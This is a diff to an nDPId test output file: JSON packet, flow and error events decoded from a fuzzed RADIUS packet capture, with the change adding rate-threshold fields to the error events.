00712{"packet_event_id":1,"packet_event_name":"packet","packet_id":50,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":9472,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528996996859353,"pkt":"ABRP+4rqcNuYVcUnJQBFAAE4+6JAAPwRV9jG4hk1Cgyqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00919{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996684582288,"flow_src_last_pkt_time":1528996684582288,"flow_dst_last_pkt_time":1528996684582288,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996996859353,"l3_proto":"ip4","src_ip":"10.4.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00817{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996733156301,"flow_src_last_pkt_time":1528996733156301,"flow_dst_last_pkt_time":1528996733156301,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":109,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":109,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":109,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996996859353,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":309,"dst_port":12339,"l4_proto":"udp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} @@ -89,17 +89,17 @@ 00780{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":7,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996680808327,"flow_src_last_pkt_time":1528996680808327,"flow_dst_last_pkt_time":1528996680808327,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":164,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":164,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":164,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996996859353,"l3_proto":"ip4","src_ip":"198.226.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00930{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":13,"flow_dst_packets_processed":12,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528996996859353,"flow_dst_last_pkt_time":1528996996503946,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":8783,"flow_dst_tot_l4_payload_len":2122,"midstream":0,"thread_ts_usec":1528996996859353,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00927{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"finished","flow_src_packets_processed":4,"flow_dst_packets_processed":1,"flow_first_seen":1528996603395872,"flow_src_last_pkt_time":1528996832079336,"flow_dst_last_pkt_time":1528996609592806,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":209,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":834,"flow_dst_max_l4_payload_len":105,"flow_src_tot_l4_payload_len":2009,"flow_dst_tot_l4_payload_len":105,"midstream":0,"thread_ts_usec":1528996996859353,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":52,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2050,"global_ts_usec":1528997003303171} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997003303171,"packet_id":52,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2050,"global_ts_usec":1528997003303171} 00611{"packet_event_id":1,"packet_event_name":"packet","packet_id":52,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":239,"pkt_type":2050,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"thread_ts_usec":1528997003122343,"pkt":"ABRP+4rqcNuYVcUnCAJFAADh+7RAAPwRWBXG4hk1CgxAHgcUchAAzbxOCyQAxZ9vEHep5UhYAk0ZSBfGW2ABNTAzMTE0ODAwcjM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0ODQvZjA6Nzk6NjA6ZDE6N2Q6MjcvMjE1WEoBAgBIFwEAAAEFAAD\/dHhHt8FXBaLd\/Dz8eGsAAgUAALtgmvoL3QAA9ON0yrW1Z\/uLAQACCwUAACkdfnJp8UtH8QraekvpDSFQErTrf98odpcx7aFbGWQ5MZk="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":58,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528997012338586} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997012338586,"packet_id":58,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528997012338586} 00714{"packet_event_id":1,"packet_event_name":"packet","packet_id":58,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528997012137776,"pkt":"ABRP+4rqcNuYVcUnCABFAIEw++ZAAPwRV5TG4hk1CgxAHgcUchABHA0JAicBFBsdKAWbpXDSR2MuOEvDRI4aCwAAV8gbBVNQQxpuAAABNxA0owm4HCG6PU2XNAkv\/vzDOB0KCSSyhii6vunR59O76CIKGOYjAfl7PUhdXq\/+IyUA1AERNOgzhBq9cBFTORk8iq5zOGawlRK5SmrzC9CE14BmLSTx9+rzUr5gcK7nljeTYDH3Q7JtAU4wMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNCUALm12YzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNDg0L2YwOjc5OjYwOmQxOjdkOjM3LzIxNVkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJln13lrCrLxGDT3fIxBMmg"} 00925{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"finished","flow_src_packets_processed":4,"flow_dst_packets_processed":1,"flow_first_seen":1528996603395872,"flow_src_last_pkt_time":1528996832079336,"flow_dst_last_pkt_time":1528996609592806,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":209,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":834,"flow_dst_max_l4_payload_len":105,"flow_src_tot_l4_payload_len":2009,"flow_dst_tot_l4_payload_len":105,"midstream":0,"thread_ts_usec":1528997012137776,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 02250{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":59,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":18,"flow_dst_packets_processed":14,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528997019398709,"flow_dst_last_pkt_time":1528997011828903,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":12258,"flow_dst_tot_l4_payload_len":2595,"midstream":0,"thread_ts_usec":1528997019398709,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":155168,"avg":61128012.0,"max":612411195,"stddev":140850256.0,"var":19838793242640384.0,"ent":2.7,"data": [155168,452627740,595449,114837328,612411195,44261470,205164,4046522,4037802,201918,4553249,187053,43562433,202627,48502104,3244519,3442366,3335821,3536360,209147,201397,255983176,256164296,599645,6262990,492548,7309633,8000538,8015324,522347,7260933]},"pktlen": {"min":165,"avg":492.2,"max":731,"stddev":248.2,"var":61618.1,"ent":4.8,"data": [683,243,225,304,225,731,165,683,165,683,192,731,683,731,683,192,165,683,731,165,683,192,731,225,711,731,711,304,731,225,711,731]},"bins": {"c_to_s": [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7,11,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [0,0,0,0,4,3,5,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},"directions": [0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0],"entropies": [6.047428131,2.762376308,6.336006641,6.922207832,6.356189251,5.597228050,5.971614838,6.076896191,5.962701321,0.885235786,6.148619175,6.046576977,6.067515373,2.928206921,4.093657970,6.062733173,5.981721401,6.049886227,6.077444077,5.974218369,5.025151253,6.080809116,6.063514709,6.407587528,5.992080212,6.077442646,5.517450333,6.840845585,6.115455151,6.520883560,5.811926842,4.154052258]},"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":63,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997023243075} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997023243075,"packet_id":63,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997023243075} 01284{"packet_event_id":1,"packet_event_name":"packet","packet_id":63,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997020091114,"pkt":"AAAMB6xAABRP+4rqCAAHAALbIOZAAP8RAAAKDEAexuIZNXIQBxQC1gAAASoCn1lLG5tNeGgoWBAiZw18BtkaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICVZXSVNQUjEwGgkAADghDQMyNwZbIqSfATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":66,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997023501287,"flow_src_last_pkt_time":1528997023501287,"flow_dst_last_pkt_time":1528997023501287,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":164,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":164,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":164,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997023501287,"l3_proto":"ip4","src_ip":"198.162.25.53","dst_ip":"10.12.64.30","src_port":1810,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00730{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_src_last_pkt_time":1528997023501287,"flow_dst_last_pkt_time":1528997023501287,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"thread_ts_usec":1528997023501287,"pkt":"ABRP+4rqcNuYVcUnCABFAADA\/A1AAPwRV93Gohk1CgxAHgcSchAArGNDAysApImnbffn85ODhNvEVYWJb4QBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5HbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0OWYvZTA6NWY6NLU6ODA6MDk6NWYvMjE2EiIzMuQ2NCBTdWJzY3JpYmVyIG5vdCBw8m92aXNpb25lZE8HBAEABwBQEhVAqRdhR287TKPkS7q+CkU="} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":71,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":19456,"global_ts_usec":1528997037997389} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997037997389,"packet_id":71,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":19456,"global_ts_usec":1528997037997389} 01286{"packet_event_id":1,"packet_event_name":"packet","packet_id":71,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":19456,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997030088335,"pkt":"AAAMB6xAABRP+4rqTABFAALbIOpAAP8RAAC2DEAexuIZNXIQBxQCxwAAAS4Cv3+VaWYldnjLTxY8VfGmtUsaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqStATUwMzExNDh\/MjgxNTAxNTg5QHdsYW4ubW5jNDgwLm0jYzMxMS4zZ3Bwbm10d29yay5vcmdZAxB+CDVjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmE5ZmE0MjI1YiwgNWIyMmE0OWYvZTA6NWY6NDU6OTA6MDk6NWYvMjE2BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODBtODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXPTTGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAKLIDwMxGgoAAFfIEAROShoRAABXyBELTHluamh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWWqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00923{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":75,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996990648296,"flow_src_last_pkt_time":1528996990648296,"flow_dst_last_pkt_time":1528996990648296,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":105,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":105,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":105,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997038253596,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29264,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00783{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":75,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996990566774,"flow_src_last_pkt_time":1528996990566774,"flow_dst_last_pkt_time":1528996990566774,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997038253596,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -114,18 +114,18 @@ 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":79,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997050187902,"flow_src_last_pkt_time":1528997050187902,"flow_dst_last_pkt_time":1528997050187902,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997050187902,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00696{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_src_last_pkt_time":1528997050187902,"flow_dst_last_pkt_time":1528997050255179,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528997050255179,"pkt":"ABRP+0\/qcNuYVcUnCABFAACl\/HNAAPwRV4nG4hk+CgxAHgcUchAIkVSXCzIAiQCjJQAe3VyUfsXAQgu9DVIBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0OWYvZTA6NWY6NDU6OTA6MDk6NWYvMjE2Tw4BAAAMFwwAAAwBf\/xQEnsk2TyvRrElAGPaQu1TGoc="} 01386{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":3,"flow_src_last_pkt_time":1528997050383244,"flow_dst_last_pkt_time":1528997050255179,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"thread_ts_usec":1528997050383244,"pkt":"AAAMD6xAABRP+4rqCABFAAKrtOpAAP8RAAAKDEAexuIZPnIQBxQClwAAATMCj3XAts8pgtMIwokQgS0z6XQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AJQBbCQlXSVNQUjEwGgkAADghDQM1NwZbIqS6ATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjR4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJAStPdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmE5ZmE0MjI1YiwgNWIyMmE0OWYvZTA6NWY6NDU6OTA6MDk6NWYvMjFiBAasFAEQSg5WWldDMlBlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAElBBgAAAAZRBDU2TwoCAAAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIGRFWWlcgQzIgVGVzdCBMYWIaCyAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDKYAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMzAyODM5VxoMAAA4IRQGAAABAhpYAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASp1PPp6fzyd7h983G\/yoSHA=="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":82,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528997050448221} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997050448221,"packet_id":82,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528997050448221} 00566{"packet_event_id":1,"packet_event_name":"packet","packet_id":82,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528997050383244,"pkt":"ABRP+4rqcNuYVcUnCABFAADA\/Hc3APwRV2rG4hk+CgxAHgcUchAArOXvAzMApAK5\/vK2WJ8qPE8W1U8CkZoBNTAzMTE0ODAyODE1MDE1ODlAd2xhbg5tbmM0ODAu2WNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0OWYvZSUANWY6NDU6OTA6MDk6tWYXMjE2EiIzMjc2NGFTdWJzY3JpYmVyIG5vdCBwcm92aXdpb25lZE8HwQEABwBQEvaqqqqqqqqqqqqqqqqqqqo="} 00931{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":24,"flow_dst_packets_processed":22,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528997046595194,"flow_dst_last_pkt_time":1528997046860855,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":16312,"flow_dst_tot_l4_payload_len":3971,"midstream":0,"thread_ts_usec":1528997050383244,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528997104586770} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997104586770,"packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528997104586770} 